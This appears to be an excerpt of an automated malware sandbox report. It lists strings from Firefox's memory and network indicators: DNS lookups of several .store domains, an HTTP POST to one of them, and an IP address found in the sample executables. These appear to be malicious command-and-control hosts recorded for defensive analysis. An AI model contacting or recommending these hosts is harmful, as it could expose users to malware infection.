"://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001B.00000002.2965275696.000002298060C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: get FIXUP_FLAGS_MAKE_ALTERNATE_URIget FIXUP_FLAG_FORCE_ALTERNATE_URIDevTools telemetry entry point failed: Failed to listen. Callback argument missing.devtools.performance.recording.ui-base-urlWebChannel/this._originCheckCallbackGot invalid request to save JSON datadevtools.performance.popup.feature-flag@mozilla.org/uriloader/handler-service;1{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}@mozilla.org/network/protocol;1?name=filebrowser.fixup.dns_first_for_single_words^([a-z+.-]+:\/{0,3})([^\/@]+@).+^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$)devtools/client/framework/devtools@mozilla.org/dom/slow-script-debug;1DevToolsStartup.jsm:handleDebuggerFlagNo callback set for this channel.devtools.debugger.remote-websocketreleaseDistinctSystemPrincipalLoaderUnable to start devtools server on @mozilla.org/network/protocol;1?name=defaultbrowser.urlbar.dnsResolveFullyQualifiedNames^([a-z][a-z0-9.+\t-]*)(:\|;)?(\/\/)?devtools/client/framework/devtools-browserJSON Viewer's onSave failed in startPersistenceresource://devtools/shared/security/socket.jsresource://devtools/server/devtools-server.jsFailed to listen. Listener already attached.browser.fixup.domainsuffixwhitelist.@mozilla.org/uriloader/local-handler-app;1resource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/NetUtil.sys.mjs@mozilla.org/network/async-stream-copier;1{c6cf88b7-452e-47eb-bdc9-86e3561648ef}Scheme should be either http or httpshttps://mail.inbox.lv/compose?to=%sresource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/JSONFile.sys.mjs{33d75835-722f-42c0-89cc-44f328e56a86}http://www.inbox.lv/rfc2368/?value=%shandlerSvc fillHandlerInfo: don't know this typehttp://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://poczta.interia.pl/mh/?mailto=%sCan't invoke URIFixup in the content processhttp://win.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/uriloader/dbus-handler-app;1@mozilla.org/network/file-input-stream;1extractScheme/fixupChangedProtocol<_injectDefaultProtocolHandlersIfNeededisDownloadsImprovementsAlreadyMigratedgecko.handlerService.defaultHandlersVersionhttps://mail.yahoo.co.jp/compose/?To=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/uriloader/web-handler-app;1_finalizeInternal/this._finalizePromise<resource://gre/modules/FileUtils.sys.mjsresource://gre/modules/URIFixup.sys.mjsresource://gre/modules/JSONFile.sys.mjsresource://gre/modules/ExtHandlerService.sys.mjshttp://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/FileUtils.sys.mjs@mozilla.org/network/simple-stream-listener;1SEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULL@mozilla.org/network/input-stream-pump;1First argument should be an nsIInputStreamNon-zero amount of bytes must be specified@mozilla.org/intl/converter-input-stream;1@mozilla.org/scriptableinputstream;1newChannel requires a single object argumenthttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.yahoo.co.jp/compose/?To=%shttps://mail.yandex.ru/compose?mailto=%shttps://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/mh/?mailto=%spdfj
Source: firefox.exe, 0000001B.00000002.2963511722.00000229804B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2965634816.000002298073A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2965634816.0000022980777000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2963511722.00000229804F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2965634816.0000022980750000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2965275696.000002298060C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2965275696.0000022980603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: firefox.exe, 0000001B.00000002.2965275696.000002298060C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null} equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: firefox.exe, 0000001B.00000002.2937254073.000002297E6BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: file.exe, 00000000.00000003.1877252122.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CA5000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/$
Source: file.exe, 00000000.00000003.1877252122.00000000015CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/H
